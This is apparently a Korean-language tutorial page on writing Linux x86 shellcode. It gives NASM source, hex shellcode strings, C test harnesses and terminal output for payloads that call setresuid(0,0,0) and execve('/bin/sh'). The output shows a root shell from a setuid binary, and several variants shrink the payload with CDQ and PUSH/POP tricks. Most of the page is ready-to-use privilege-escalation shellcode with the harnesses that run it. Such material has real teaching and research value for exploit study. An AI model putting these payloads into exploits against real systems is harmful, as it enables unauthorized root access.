Excuse the ads! We need some help to keep our site up.
|
#include <unistd.h> int main() { char *argv[2] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o shell shell.c lazenca0x0@ubuntu:~/Shell$ ./shell $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ exit lazenca0x0@ubuntu:~/Shell$ |
|
lazenca0x0@ubuntu:~/ASM$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep exe #define __NR_execve 11 #define __NR_kexec_load 283 lazenca0x0@ubuntu:~/ASM$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h|grep exe #define __NR_execve 59 #define __NR_kexec_load 246 lazenca0x0@ubuntu:~/ASM$ |
mov [ebx+4], 0 |
|
|
|
BITS 32 jmp short last ; shell함수를 호출하기 위해 "last:"로 이동합니다. shell: ; int execve(const char *filename, char *const argv [], char *const envp[]) pop ebx ; EBX 레지스터에 문자열의 시작 주소를 저장합니다. xor eax, eax ; EAX 레지스터의 값을 0으로 만듭니다. mov [ebx+7],al ; 문자열 "/bin/sh"끝에 Null byte를 저장합니다. mov [ebx+8],ebx ; [ebx+8] 영역에 EBX 레지스터에 저장된 주소 값을 저장합니다. mov [ebx+12],eax ; [ebx+12] 영역에 EAX 레지스터에 저장된 32비트 Null byte를 저장합니다. lea ecx, [ebx+8] ; argv 포인터의 값으로 [ebx+8]의 주소를 ECX 레지스터에 저장 합니다. lea edx, [ebx+12] ; envp 포인터의 값으로 [ebx+12]의 주소를 EDX 레지스터에 저장 합니다. mov al, 11 ; AL 레지스터에 execve() 시스템 함수의 콜 번호를 저장합니다. int 0x80 ; 함수 실행 last: call shell ; 문자열 "/bin/sh" 주소를 Stack에 저장하기 위해 해당 형태를 사용합니다. db '/bin/sh' ; call 명령어은 해당 주소를 shell 함수 종료 후 돌아갈 주소로 Stack에 저장합니다. |
lazenca0x0@ubuntu:~/Shell$ nasm shellcode.s lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode 00000000 EB16 jmp short 0x18 00000002 5B pop bx 00000003 31C0 xor ax,ax 00000005 884307 mov [bp+di+0x7],al 00000008 895B08 mov [bp+di+0x8],bx 0000000B 89430C mov [bp+di+0xc],ax 0000000E 8D4B08 lea cx,[bp+di+0x8] 00000011 8D530C lea dx,[bp+di+0xc] 00000014 B00B mov al,0xb 00000016 CD80 int 0x80 00000018 E8E5FF call word 0x0 0000001B FF db 0xff 0000001C FF2F jmp word far [bx] 0000001E 62696E bound bp,[bx+di+0x6e] 00000021 2F das 00000022 7368 jnc 0x8c lazenca0x0@ubuntu:~/Shell$ |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o shell2 -z execstack -m32 shell2.c lazenca0x0@ubuntu:~/Shell$ ./shell2 Shellcode len : 36 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
#include<stdio.h> #include<string.h> #include <unistd.h> unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh"; unsigned char code[] = ""; void main(){ seteuid(1000); int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); void (*function)() = (void(*)())code; function(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o test -z execstack -m32 test.c lazenca0x0@ubuntu:~/Shell$ sudo chown root:root ./test lazenca0x0@ubuntu:~/Shell$ sudo chmod 4755 ./test lazenca0x0@ubuntu:~/Shell$ ls -al total 44 drwxrwxr-x 2 lazenca0x0 lazenca0x0 4096 Feb 21 00:44 . drwxr-xr-x 24 lazenca0x0 lazenca0x0 4096 Feb 15 00:37 .. -rwsr-xr-x 1 root root 7568 Feb 21 00:44 test -rw-rw-r-- 1 lazenca0x0 lazenca0x0 431 Feb 21 00:43 test.c lazenca0x0@ubuntu:~/Shell$ ./test Shellcode len : 36 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
int setresuid(uid_t ruid, uid_t euid, uid_t suid); |
#include <unistd.h> int main() { char *argv[2] = {"/bin/sh", NULL}; setresuid(0, 0, 0); execve(argv[0], argv, NULL); } |
"__NR_setresuid" : 164
"__NR_setresuid32" : 208
두 함수의 차이점은 지원하는 유저, 그룹 ID의 bit 수 차이 입니다.
16 bit, 32bit
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep setresuid #define __NR_setresuid 164 #define __NR_setresuid32 208 lazenca0x0@ubuntu:~/Shell$ |
BITS 32 jmp short last ; shell함수를 호출하기 위해 "last:"로 이동합니다. shell: ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; EAX 레지스터의 값을 0으로 만듭니다. xor ebx, ebx ; EBX 레지스터의 값을 0으로 만듭니다. xor ecx, ecx ; ECX 레지스터의 값을 0으로 만듭니다. xor edx, edx ; EDX 레지스터의 값을 0으로 만듭니다. mov al, 164 ; AL 레지스터에 setresuid() 시스템 함수의 콜 번호를 저장합니다. int 0x80 ; 함수 실행, root 권한으로 설정하기 위해 모든 인자 값을 '0'을 설정했습니다. ; int execve(const char *filename, char *const argv [], char *const envp[]) pop ebx ; EBX 레지스터에 문자열의 시작 주소를 저장합니다. xor eax, eax ; EAX 레지스터의 값을 0으로 만듭니다. mov [ebx+7],al ; 문자열 "/bin/sh"끝에 Null byte를 저장합니다. mov [ebx+8],ebx ; [ebx+8] 영역에 EBX 레지스터에 저장된 주소 값을 저장합니다. mov [ebx+12],eax ; [ebx+12] 영역에 EAX 레지스터에 저장된 32비트 Null byte를 저장합니다. lea ecx, [ebx+8] ; argv 포인터의 값으로 [ebx+8]의 주소를 ECX 레지스터에 저장 합니다. lea edx, [ebx+12] ; envp 포인터의 값으로 [ebx+12]의 주소를 EDX 레지스터에 저장 합니다. mov al, 11 ; AL 레지스터에 execve() 시스템 함수의 콜 번호를 저장합니다. int 0x80 ; 함수 실행 last: call shell ; 문자열 "/bin/sh" 주소를 Stack에 저장하기 위해 해당 형태를 사용합니다. db '/bin/sh' ; call 명령어은 해당 주소를 shell 함수 종료 후 돌아갈 주소로 Stack에 저장합니다. |
lazenca0x0@ubuntu:~/Shell$ nasm shellcode.s lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode 00000000 EB22 jmp short 0x24 00000002 31C0 xor ax,ax 00000004 31DB xor bx,bx 00000006 31C9 xor cx,cx 00000008 31D2 xor dx,dx 0000000A B0A4 mov al,0xa4 0000000C CD80 int 0x80 0000000E 5B pop bx 0000000F 31C0 xor ax,ax 00000011 884307 mov [bp+di+0x7],al 00000014 895B08 mov [bp+di+0x8],bx 00000017 89430C mov [bp+di+0xc],ax 0000001A 8D4B08 lea cx,[bp+di+0x8] 0000001D 8D530C lea dx,[bp+di+0xc] 00000020 B00B mov al,0xb 00000022 CD80 int 0x80 00000024 E8D9FF call word 0x0 00000027 FF db 0xff 00000028 FF2F jmp word far [bx] 0000002A 62696E bound bp,[bx+di+0x6e] 0000002D 2F das 0000002E 7368 jnc 0x98 lazenca0x0@ubuntu:~/Shell$ |
#include<stdio.h> #include<string.h> #include <unistd.h> unsigned char shellcode [] = "\xeb\x22\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); seteuid(1000); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o test_seteuid -fno-stack-protector -z execstack --no-pie -m32 test_seteuid.c lazenca0x0@ubuntu:~/Shell$ sudo chown root:root ./test_seteuid lazenca0x0@ubuntu:~/Shell$ sudo chmod 4755 ./test_seteuid lazenca0x0@ubuntu:~/Shell$ ./test_seteuid Shellcode len : 48 # id uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) # |
BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; EAX 레지스터의 값을 0으로 만듭니다. xor ebx, ebx ; EBX 레지스터의 값을 0으로 만듭니다. xor ecx, ecx ; ECX 레지스터의 값를 0으로 만듭니다. xor edx, edx ; EDX 레지스터의 값를 0으로 만듭니다. mov al, 0xa4 ; setresuid() 시스템 함수의 콜 번호 164(0xa4)를 AL 레지스터에 저장합니다. int 0x80 ; setresuid(0, 0, 0) 프로세스의 루트 권한 복구 ; execve(const char *filename, char *const argv [], char *const envp[]) xor eax, eax ; EAX 레지스터의 값을 다시 한번 0으로 만듭니다. mov al, 11 ; execve() 시스템 함수의 콜 번호 11을 AL 레지스터에 저장합니다. push ecx ; 문자열의 끝을 알리기 위해 Null을 "//sh" 뒤에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 스택에 저장합니다. push 0x6e69622f ; 문자 "/bin"를 스택에 저장합니다. mov ebx, esp ; ESP 레지스터에서 "/bin//sh"의 주소를 가져와 EBX 레지스터에 저장합니다. ; 2번째 인자를 위한 문자열 포인터 생성 및 3번째 인자 값 설정 push edx ; Null을 스택에 저장합니다. mov edx, esp ; 3번째 인자에 Null이 저장된 주소 값을 저장합니다. push ebx ; Stack에 "/bin//sh" 문자열의 시작 주소를 저장합니다. mov ecx, esp ; 2번째 인자에 문자열 포인터가 있는 인자 배열 int 0x80 ; execve("/bin//sh",["/bin//sh",NULL],[NULL]) |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//shh/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o test_esp -fno-stack-protector -z execstack --no-pie -m32 test_esp.c lazenca0x0@ubuntu:~/Shell$ ./test_esp Shellcode len : 37 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
CDQ(Convert Doubleword to Quadword)라는 단일 바이트 x86명령이 있습니다.
CDQ 명령은 EAX 레지스터에 저장된 값의 부호 비트(Sign Flag)를 EDX 레지스터에 확장합니다.
EAX에 저장된 값이 양수(SF = 0)인 경우 CDQ 명령어에 의해 EDX에 0x00000000이 저장됩니다.
EAX에 저장된 값이 음수(SF = 1)인 경우 CDQ 명령어에 의해 EDX에 0xFFFFFFFF이 저장됩니다.
mov eax, 0x5 ; eax = 0x5, SF = 0 cdq ; edx = 0x00000000 |
mov eax, 0x5 ; eax = 0x5 neg eax ; eax = 0xFFFFFFFB, SF = 1 cdq ; edx = 0xFFFFFFFF |
xor edx,edx ; 31 D2 cdq ; 99 |
BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; EAX레지스터의 값을 0으로 만듭니다. xor ebx, ebx ; EBX레지스터의 값을 0으로 만듭니다. xor ecx, ecx ; ECX레지스터의 값를 0으로 만듭니다. cdq ; EAX 레지스터에 저장된 값의 부호 비트(Sign Flag)를 가져와 EDX 레지스터의 값을 0으로 만듭니다. mov al, 0xa4 ; setresuid() 시스템 함수의 콜 번호 164(0xa4)를 AL 레지스터에 저장합니다. int 0x80 ; setresuid(0, 0, 0) 프로세스의 루트 권한 복구 ; execve(const char *filename, char *const argv [], char *const envp[]) xor eax, eax ; EAX레지스터의 값을 다시 한번 0으로 만듭니다. mov al, 11 ; execve() 시스템 함수의 콜 번호 11을 AL 레지스터에 저장합니다. push ecx ; 문자열의 끝을 알리기 위해 Null을 "//sh" 뒤에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 스택에 저장합니다. push 0x6e69622f ; 문자 "/bin"를 스택에 저장합니다. mov ebx, esp ; ESP 레지스터에서 "/bin//sh"의 주소를 가져와 EBX 레지스터에 저장합니다. ; 2번째 인자를 위한 문자열 포인터 생성 및 3번째 인자 값 설정 push edx ; Null을 스택에 저장합니다. mov edx, esp ; 3번째 인자에 Null이 저장된 주소 값을 저장합니다. push ebx ; Stack에 "/bin//sh" 문자열의 시작 주소를 저장합니다. mov ecx, esp ; 2번째 인자에 문자열 포인터가 있는 인자 배열 int 0x80 ; execve("/bin//sh",["/bin//sh",NULL],[NULL]) |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//sh\x68/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o test_cdq -fno-stack-protector -z execstack --no-pie -m32 test_cdq.c lazenca0x0@ubuntu:~/Shell$ ./test_cdq Shellcode len : 36 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
PUSH, POP 명령어를 이용해 코드를 줄일 수 있습니다.
앞에서 시스템 콜을 저장하기 위해 XOR, MOV 명령어를 사용하였습니다.
해당 코드를 PUSH, POP 명령어를 사용하여 Shellcode의 크기를 1 byte 줄일 수 있습니다.
PUSH 명령어로 값을 저장할 때 저장되는 값의 크기를 설정하는 것이 좋습니다.
유효한 크기로는 1 바이트는 BYTE, 2 바이트 WORD, 4 바이트 DWORD가 있습니다.
xor eax,eax ; 31 C0 mov al,0xb ; B0 0B |
push byte +0xb ; 6A 0B pop eax ; 58 |
BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; EAX 레지스터의 값을 0으로 만듭니다. xor ebx, ebx ; EBX 레지스터의 값을 0으로 만듭니다. xor ecx, ecx ; ECX 레지스터의 값를 0으로 만듭니다. cdq ; EAX 레지스터에 저장된 값의 부호 비트(Sign Flag)를 가져와 EDX 레지스터의 값을 0으로 만듭니다. mov al, 0xa4 ; setresuid() 시스템 함수의 콜 번호 164(0xa4)를 AL 레지스터에 저장합니다. int 0x80 ; setresuid(0, 0, 0) 프로세스의 루트 권한 복구 ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; execve() 시스템 함수의 콜 번호 11을 Stack에 저장합니다. pop eax ; Stack에 저장된 11(더블워드)를 EAX 레지스터에 저장합니다. push ecx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 스택에 저장합니다. push 0x6e69622f ; 문자 "/bin"를 스택에 저장합니다. mov ebx, esp ; execve() 함수의 1번째 인자(EBX)로 "/bin//sh"의 주소(ESP)를 저장합니다. ; 2번째 인자를 위한 문자열 포인터 생성 및 3번째 인자 값 설정 push edx ; Null을 스택에 저장합니다. mov edx, esp ; execve() 함수의 3번째 인자(EDX)로 Null이 저장된 주소 값을 저장합니다. push ebx ; Stack에 "/bin//sh" 문자열의 시작 주소를 저장합니다. mov ecx, esp ; execve() 함수의 2번째 인자(ECX)로 문자열 포인터가 저장된 배열의 주소 값을 저장합니다. int 0x80 ; execve("/bin//sh",["/bin//sh",NULL],[NULL]) |
"/bin//sh" 문자열을 Stack에 저장할 때 Little-endian format으로 저장해야 합니다.
|
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68//sh\x68/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o test_pop -fno-stack-protector -z execstack --no-pie -m32 test_pop.c lazenca0x0@ubuntu:~/Shell$ ./test_pop Shellcode len : 35 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
#include <unistd.h> int main() { execve("/bin/sh", NULL, NULL); } |
lazenca0x0@ubuntu:~$ gcc -o null execveNull.c execveNull.c: In function 'main': execveNull.c:4:9: warning: null argument where non-null required (argument 2) [-Wnonnull] execve("/bin/sh", NULL, NULL); ^ lazenca0x0@ubuntu:~$ ./null $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ exit lazenca0x0@ubuntu:~$ |
BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; EAX 레지스터의 값을 0으로 만듭니다. xor ebx, ebx ; EBX 레지스터의 값을 0으로 만듭니다. xor ecx, ecx ; ECX 레지스터의 값를 0으로 만듭니다. cdq ; EAX 레지스터에 저장된 값의 부호 비트(Sign Flag)를 가져와 EDX 레지스터의 값을 0으로 만듭니다. ; execve() 함수의 3번째 인자(EDX)로 Null을 저장합니다. mov al, 0xa4 ; setresuid() 시스템 함수의 콜 번호 164(0xa4)를 AL 레지스터에 저장합니다. int 0x80 ; setresuid(0, 0, 0) 프로세스의 루트 권한 복구 ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; execve() 시스템 함수의 콜 번호 11을 Stack에 저장합니다. pop eax ; Stack에 저장된 11(더블워드)를 EAX 레지스터에 저장합니다. push ecx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 스택에 저장합니다. push 0x6e69622f ; 문자 "/bin"를 스택에 저장합니다. mov ebx, esp ; execve() 함수의 1번째 인자(EBX)로 "/bin//sh"의 주소(ESP)를 저장합니다. ; 2번째 인자를 위한 문자열 포인터 생성 및 3번째 인자 값 설정 mov ecx, edx ; execve() 함수의 2번째 인자(ECX)로 Null을 저장합니다. int 0x80 ; execve("/bin//sh",NULL,NULL) |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\xb\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~$ gcc -o null -fno-stack-protector -z execstack --no-pie -m32 null.c lazenca0x0@ubuntu:~$ ./null Shellcode len : 31 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ exit lazenca0x0@ubuntu:~$ |